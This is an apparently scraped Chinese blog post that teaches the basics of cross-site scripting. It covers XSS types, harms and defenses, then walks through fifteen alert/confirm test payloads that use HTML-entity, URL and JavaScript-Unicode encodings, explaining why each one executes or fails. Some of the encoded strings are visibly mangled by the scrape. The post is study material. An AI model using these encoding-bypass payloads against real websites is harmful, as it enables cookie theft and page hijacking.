当前位置:网站首页>安全基础8 ---XSS
安全基础8 ---XSS
2022-08-03 20:58:00 【抱小猫】
目录
XSS---跨站脚本攻击
产生原因
对用户的输入没有过滤,用户提交的数据中有恶意代码被输入到服务器
分类
- 反射型XSS:危害不大,不持久,只能运行一次,不会进入数据库,仅在前端页面做弹窗窗口
- DOM型XSS:特殊的反射型XSS,危害较小
- 存储型XSS:危害最大,能进入数据库,可以多次执行(危害:可以获取后台地址、管理员的cookies)(产生原因:没有对js标签做过滤)
危害(作用点的不同而不同)
- 盗取被攻击者的 cookie 值,进行身份冒充
- 网页篡改---js 中某些函数可以获取并且重新复制 HTML 的标签值
- 删除页面---通过改变页面的某些值(如:将值改为空值)将页面删除
- 流量劫持---如:小网页增大流量的方式:1.正常操作---引流----送钱、打广告、 2.非常规(违法行为)---利用 XSS 漏洞自动请求流量较 小的网站或在其他网站上添加二维码
- 钓鱼网站
- 配合 CSRF 攻击---ajax、window.location
防御手段
- 将关键字进行过滤
- 将特殊字符转换成字符串-->实体化编码
XSS paylaod
测试网站:http://test.attacker-domain.com/browserparsing/tests.html
1、
<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29"></a>
没有编码成功 (解码顺序:先 实体编码-->Unicode-->js中的Unicode编码)
原因:没有实体编码-->进行Unicode编码,但是协议不能Unicode编码,URL规定协议、用户名、密码都必须是ASCII,否则识别不了
2、
<a href="javascript:%61%6c%65%72%74%28%32%29">Click me</a>
成功:先进行实体解码 --> href中为URL,URL模块可以实别为JavaScript协议,进行URL解码 --> JS模块处理后执行
3、
<a href="javascript%3aalert(3)">Click me</a>
失败:编码了协议,Unicode编码识别不了协议,所以弹窗失败
4、
<div><img src=x onerror=alert(4)></div>
<img src=x onerror=alert(4)>
失败,img标签在正常状态下可以解析,为什么img标签解析不了?
原因:是解析器在解析这个字符引用后不会转换到"标签开始状态"。正因为如此,就不会建立新标签。因此,我们能够利用字符实体编码这个行为来转义用户输入的数据从而确保用户输入的数据只能被解析成"数据"。标签没有进入开始状态,弹窗就不会出来
5、
<textarea><script>alert(5)</script></textarea>
可以解析,标签没有进入开始状态
6、
<textarea><script>alert(6)</script></textarea>
原因:<title>和<textarea>标签中的字符引用会被HTML解析器解码。在解析这些字符引用的过程中不会进入“标签开始状态"。 <textarea>不能执行脚本,只能容纳文本或字符引用
7、
<button onclick="confirm('7');">Button</button>
成功执行,先解析实体编码,onclick中属性值会被HTML解码,识别成功后执行
8、
<button onclick="confirm('8\u0027);">Button</button>
失败原因:使用js编码,js编码可以容纳Unicode编码,但是在js中不能编码符号(如:括号、等号.......)
9、
<script>alert(9);</script>
没有弹窗原因:编码了alert,<script>标签中属于原始文本,但是原始文本只能容纳文本,没有字符引用,无法执行
10、
<script>\u0061\u006c\u0065\u0072\u0074(10);</script>
成功,利用js中的Unicode编码,但是仅编码了字符,可以成功
11、
<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>
失败,利用js中的Unicode编码了括号
12、
<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>
失败,js运行时,里面有字符串需要使用引号包裹起来才能运行,js中使用Unicode编码数字时解码后成为字符串,所以需要引号包裹。
13、
<script>alert('13\u0027)</script>
失败,利用js中的Unicode编码了符号
14、
<script>alert('14\u000a')</script>
成功,编码没问题,都存在
15、
<a href="javascript:%5c%75%30%30&# x25;36%31%5c%75%30%30%36%63% 5;c%75%30%30%36%35%5c%75%30 %30%37%32%5c%75%30%30%37%&# x33;4(15)">Click me</a>
成功,先用HTML实体解码 --> JavaScript:头部出来 --> 由href中url模块解码 --> 识别js协议--> js模块处理 --> 最后解码
注意
- HTML官网:w3c.org
- 解码顺序:先 实体编码 --> Unicode --> js中的Unicode编码
- <textarea>和<title>下不会有脚本能够执行,只能容纳文本或字符引用。无需进行测试
- div 、href等属性元素会有HTML解码操作
- URL规定协议、用户名、密码都必须是ASCII
- JavaScript会对字符串和标识符Unicode解码
HTML实体编码
HTML 实体是一段以连字号(&
)开头、以分号(;
)结尾的文本(字符串)。实体常常用于显示保留字符(这些字符会被解析为 HTML 代码)和不可见的字符(如“不换行空格”)
- 不可分的空格:
<
(小于符号):<
>
(大于符号):>
&
(与符号):&
″
(双引号):"
'
(单引号):''
(版权符号)
©
边栏推荐
猜你喜欢
随机推荐
leetcode 16.01. Swap numbers (swap the values of 2 numbers without using temporary variables)
化算力为战力:宁夏中卫的数字化转型启示录
李沐动手学深度学习V2-BERT微调和代码实现
15 years experience in software architect summary: in the field of ML, tread beginners, five hole
双线性插值公式推导及Matlab实现
canvas螺旋动画js特效
Lecture topics and guest blockbuster, TDengine developers conference to promote data technology "broken"
Advantages and Disadvantages of Blind and Buried Via PCB Stacked Via Design
开源一夏 |如何优化线上服务器
博士申请 | 美国明尼苏达大学葛畅教授招收隐私数据管理方向全奖博士/硕士/博后/访问学者...
Edge box + time series database, technology selection behind Midea's digital platform iBuilding
图神经网络怎么入门?一文带你了解图神经网络入门路径-GNN入门
收藏-即时通讯(IM)开源项目OpenIM-功能手册
nvm的使用 nodejs版本管理,解决用户名是汉字的问题
研究Fabric中Etcd的Raft应用
if _name_ == “__main__“:NameError: name ‘_name_‘ is not defined
敏捷交付的工程效能治理
leetcode 1837. K 进制表示下的各位数字总和
不专业面试官的经验总结
Android build error: Plugin with id ‘kotlin-android‘ not found.